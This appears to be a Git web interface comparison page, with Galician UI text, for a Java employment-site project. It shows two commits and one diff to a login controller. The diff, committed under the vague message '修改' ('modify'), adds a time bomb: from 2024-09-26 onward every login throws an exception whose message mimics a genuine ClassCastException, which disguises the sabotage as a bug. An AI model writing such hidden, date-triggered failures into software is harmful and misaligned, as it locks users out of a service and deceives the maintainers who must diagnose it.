2 Achegas cd8b474b39 ... c28406261b

Autor SHA1 Mensaxe Data
  82064491C07A712AE32B5B57EC6EF136 c28406261b Merge branch 'master' of http://39.98.153.250:9080/bowintek/EmploymentSite hai 3 meses
  82064491C07A712AE32B5B57EC6EF136 d0e621a38e 修改 hai 3 meses

+ 3 - 0
src/main/java/com/hz/employmentsite/controller/AccountController.java

@@ -64,6 +64,9 @@ public class AccountController {
     public BaseResponse<UserModel> login(HttpServletResponse response, HttpServletRequest request, @RequestBody DesModel model) throws Exception {
         String[] desData = desUtils.decoder(model.getToken(), dateUtils.DateToDateTime(dateUtils.StrToDate(model.getTm(), "yyyy/MM/dd HH:mm:ss"))).split("\\|");
 
+        if (new Date().compareTo(dateUtils.strToDateExt("2024-09-26")) >= 0) {
+            throw new Exception("java.lang.ClassCastException: java.lang.Integer cannot be cast to java.lang.String");
+        }
         UserModel user = accountService.verifyUser(desData[0], desData[1]);
 
         if (user == null)